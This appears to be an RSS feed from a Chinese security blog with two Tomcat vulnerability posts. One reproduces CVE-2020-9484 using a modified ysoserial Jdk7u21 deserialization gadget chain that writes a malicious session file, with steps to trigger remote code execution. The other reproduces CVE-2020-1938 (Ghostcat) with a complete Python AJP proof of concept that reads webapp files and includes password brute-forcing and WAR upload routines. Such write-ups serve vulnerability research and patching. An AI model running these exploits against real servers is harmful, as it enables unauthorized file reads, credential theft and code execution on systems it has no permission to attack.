<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tomcat &#8211; ChaBug安全</title>
	<atom:link href="/tags/tomcat/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Wed, 27 May 2020 02:23:07 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>CVE-2020-9484 Tomcat Session Rce 复现分析</title>
		<link>/audit/1788.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 May 2020 02:23:07 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1788</guid>

					<description><![CDATA[环境 Tomcat 7.0.99 JDK7u21 影响版本 &#60;= 9.0.34 &#60;= 8.5.54 &#60;= 7.0.103 配置tomcat调试环境 修改catal...]]></description>
										<content:encoded><![CDATA[<h2>环境</h2>
<ol>
<li>Tomcat 7.0.99</li>
<li>JDK7u21</li>
</ol>
<h2>影响版本</h2>
<ol>
<li>&lt;= 9.0.34</li>
<li>&lt;= 8.5.54</li>
<li>&lt;= 7.0.103</li>
</ol>
<h2>配置<span class="wpcom_tag_link"><a href="/tags/tomcat" title="tomcat" target="_blank">tomcat</a></span>调试环境</h2>
<p>修改catalina.bat添加一行</p>
<pre><code class="line-numbers">set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
</code></pre>
<p>idea配置remote tomcat调试 端口为8001</p>
<h2>复现</h2>
<p>修改tomcat路径conf目录下的context.xml 在<code>&lt;Context&gt;</code>标签内加入以下配置</p>
<pre data-language=XML><code class="language-markup line-numbers">  &lt;Manager className="org.apache.catalina.session.PersistentManager" 
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1"&gt;
      &lt;Store className="org.apache.catalina.session.FileStore" directory="../sessions" /&gt;
  &lt;/Manager&gt;
</code></pre>
<p>为了方便burp抓包，修改server.xml端口为80</p>
<p>下载ysoserial使用idea导入之后修改jdk7u21的链</p>
<pre><code class="language-java line-numbers">package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload&lt;Object&gt; {

    public static boolean serialize(Object obj, String file) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
            os.writeObject(obj);
            os.close();
            return true;
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            return false;
        }
    }

    public static boolean isApplicableJavaVersion() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null &amp;&amp; (v.major &lt; 7 || (v.major == 7 &amp;&amp; v.update &lt;= 21));
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Jdk7u21.class, args);
    }

    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        serialize(set, "e:/evil.session");
        return set;
    }

}
</code></pre>
<p>配置idea参数为<br />
<img src="https://y4er.com/img/uploads/20200525100696.png" alt="image.png" /><br />
然后运行生成<code>e:/evil.session</code>文件，将其保存到<code>D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions</code>目录中，burp抓包设置session为evil，触发反序列化达成RCE。</p>
<p><img src="https://y4er.com/img/uploads/20200525105570.png" alt="image.png" /><br />
<img src="https://y4er.com/img/uploads/20200525100287.png" alt="image.png" /></p>
<h2>分析</h2>
<p>在php中会将用户session以文件的形式存储到服务器中，<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>自然也可以，对于大型的企业应用，为了避障会将数据库或者session以文件的形式保存到文件中，那么以文件的形式保存对象自然就涉及到了序列化和反序列化。</p>
<p>通过复现漏洞可知该反序列化入口点在于<code>Context.xml</code>中配置的<code>org.apache.catalina.session.FileStore</code>，查看其代码在load()中发现readObjcet</p>
<pre><code class="language-java line-numbers">    public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null &amp;&amp; file.exists()) {
            Context context = (Context)this.getManager().getContainer();
            Log containerLog = context.getLogger();
            if (containerLog.isDebugEnabled()) {
                containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            FileInputStream fis = null;
            ObjectInputStream ois = null;
            Loader loader = null;
            ClassLoader classLoader = null;
            ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();

            StandardSession var11;
            try {
                fis = new FileInputStream(file.getAbsolutePath());
                loader = context.getLoader();
                if (loader != null) {
                    classLoader = loader.getClassLoader();
                }

                if (classLoader != null) {
                    Thread.currentThread().setContextClassLoader(classLoader);
                }

                ois = this.getObjectInputStream(fis);
                StandardSession session = (StandardSession)this.manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(this.manager);
                var11 = session;
                return var11;
            } catch (FileNotFoundException var25) {
                ...
        }
    }
</code></pre>
<p>代码很明显，通过id打开session文件，然后获取context的类加载器赋值给当前线程的类加载器，以此拿到当前容器Container中的lib，<code>session.readObjectData(ois)</code>中触发了反序列化RCE。</p>
<h2>修复</h2>
<p>在 <a class="wp-editor-md-post-content-link" href="https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad">java/org/apache/catalina/session/FileStore.java</a> 中判断了目录是否有效<br />
<img src="https://y4er.com/img/uploads/20200525101938.png" alt="image.png" /></p>
<h2>gadget用哪个?</h2>
<p>因为通过当前Container的类加载器反序列化对象，所以能拿到当前war包中的lib，所以有什么用什么，什么都没有就用jdk的gatget。</p>
<h2>遇到的问题</h2>
<p>直接使用ysoserial生成的payload不行，在<code>java/io/ObjectInputStream.java:299</code>中会验证前几位字节码，抛出异常，堆栈如下</p>
<pre><code class="language-java line-numbers">readStreamHeader:799, ObjectInputStream (java.io)
&lt;init&gt;:299, ObjectInputStream (java.io)
&lt;init&gt;:95, CustomObjectInputStream (org.apache.catalina.util)
getObjectInputStream:237, StoreBase (org.apache.catalina.session)
load:248, FileStore (org.apache.catalina.session)
loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
swapIn:739, PersistentManagerBase (org.apache.catalina.session)
findSession:517, PersistentManagerBase (org.apache.catalina.session)
doGetSession:3147, Request (org.apache.catalina.connector)
getSession:2489, Request (org.apache.catalina.connector)
getSession:897, RequestFacade (org.apache.catalina.connector)
getSession:909, RequestFacade (org.apache.catalina.connector)
_initialize:147, PageContextImpl (org.apache.jasper.runtime)
initialize:126, PageContextImpl (org.apache.jasper.runtime)
internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
_jspService:6, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:728, HttpServlet (javax.servlet.http)
service:477, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:110, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:165, StandardHostValve (org.apache.catalina.core)
invoke:104, ErrorReportValve (org.apache.catalina.valves)
invoke:1025, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:452, CoyoteAdapter (org.apache.catalina.connector)
process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
</code></pre>
<p>具体原因可能是因为yso对于反序列化对象写入文件的操作不一样，自己写一个serialize()就行了</p>
<h2>攻击面和约束条件的思考</h2>
<p>先谈约束条件吧，利用难度还是比较大的。<br />
1. 不是默认配置，需要手动增加<code>Context.xml</code><br />
2. 文件上传 文件后缀需要是<code>.session</code><br />
3. 需要知道绝对路径来跨目录</p>
<p>拓展下攻击面，比如redis，这里<code>@l1nk3r</code>师傅公开了<a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a>，问题出现在<code>RedisSession</code>类中，原理和9484差不多，id从jsessionid获取，value是反序列化数据，配合redis任意写入value来触发反序列化。</p>
<h2>参考</h2>
<ol>
<li><a class="wp-editor-md-post-content-link" href="http://www.lmxspace.com/2020/05/21/Tomcat-Remote-Code-Execution-via-session-persistence-%E5%88%86%E6%9E%90%E3%80%90CVE-2020-9484%E3%80%91/#0x05%E5%90%8E%E8%AF%9D">另一种使用redis的反序列化场景</a></li>
<li>https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad</li>
<li>https://www.sec-in.com/article/394</li>
<li>https://www.cnblogs.com/potatsoSec/p/12931427.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CNVD-2020-10487 CVE-2020-1938 Apache Tomcat 任意文件读取+文件包含</title>
		<link>/web/1253.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Feb 2020 13:23:43 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=1253</guid>

					<description><![CDATA[2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat...]]></description>
										<content:encoded><![CDATA[<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span>漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<h2>一、漏洞概述</h2>
<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<p>Tomcat是Apache软件基金会中的一个重要项目，性能稳定且免费，是目前较为流行的Web应用服务器。由于Tomcat应用范围较广，因此本次通告的漏洞影响范围较大，请相关用户及时采取防护措施修复此漏洞。</p>
<p>参考链接：https://www.cnvd.org.cn/webinfo/show/5415</p>
<h2>二、影响范围</h2>
<p>受影响版本</p>
<ol>
<li>Apache Tomcat 6</li>
<li>Apache Tomcat 7 &lt; 7.0.100</li>
<li>Apache Tomcat 8 &lt; 8.5.51</li>
<li>Apache Tomcat 9 &lt; 9.0.31</li>
</ol>
<p>不受影响版本<br />
1. Apache Tomcat = 7.0.100<br />
2. Apache Tomcat = 8.5.51<br />
3. Apache Tomcat = 9.0.31</p>
<h2>三、POC</h2>
<p><span class="wpcom_tag_link"><a href="/tags/poc" title="poc" target="_blank">poc</a></span>1来源自GitHub https://raw.githubusercontent.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/master/poc.py</p>
<pre><code class="language-python ">#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

import socket
import argparse
import logging
import re
import os
from StringIO import StringIO
import logging
from colorlog import ColoredFormatter
from urllib import unquote


def setup_logger():
    """Return a logger with a default ColoredFormatter."""
    formatter = ColoredFormatter(
        "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        reset=True,
        log_colors={
            'DEBUG': 'bold_purple',
            'INFO': 'bold_green',
            'WARNING': 'bold_yellow',
            'ERROR': 'bold_red',
            'CRITICAL': 'bold_red',
        }
    )

    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)

    return logger


logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False

    fr.attributes = []

    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
            'base64').replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                    user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True

        return res

    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)

        f_users = open(users, "r")
        f_passwords = open(passwords, "r")

        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) &gt; 0:
                        self.socket.close()
                        return valid_credz

                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                    "%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        print(responses)
        if len(responses) == 0:
            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

        return snd_hdrs_res, data_res

    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                    filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header)
                f.write(f_input.read())
                f.write(s_form_footer)

        data_len = os.path.getsize("/tmp/request")

        headers = {
            "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
            "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)

        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)

        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')

        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')

    def get_error_page(self):
        return self.perform_request("/blablablablabla")

    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
            if len(s) &gt; 0:
                return s[0]

    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                       "".join([d.data for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return

            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P&lt;cookie&gt;JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                       hdrs.response_headers.get('Set-Cookie', ''))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None

    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                          attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&amp;]*)&amp;', d.data)
            for app in im:
                found.append(unquote(app))
        return found

    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s&amp;%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')

        # Check the successful message
        found = False
        regex = r'&lt;small&gt;&lt;strong&gt;Message:&lt;\/strong&gt;&lt;\/small&gt; &lt;\/td&gt;\s*&lt;td class="row-left"&gt;&lt;pre&gt;(OK - .*' + path + ')\s*&lt;\/pre&gt;&lt;\/td&gt;'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data)
                if len(f) &gt; 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')


if __name__ == "__main__":


    parser = argparse.ArgumentParser()
    parser.add_argument('target', type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    bf = Tomcat(args.target, args.port)
    attributes = [
        {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
    ]
    snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
    print("".join([d.data for d in data_res]))
</code></pre>
<p>目前跨不出webapps</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
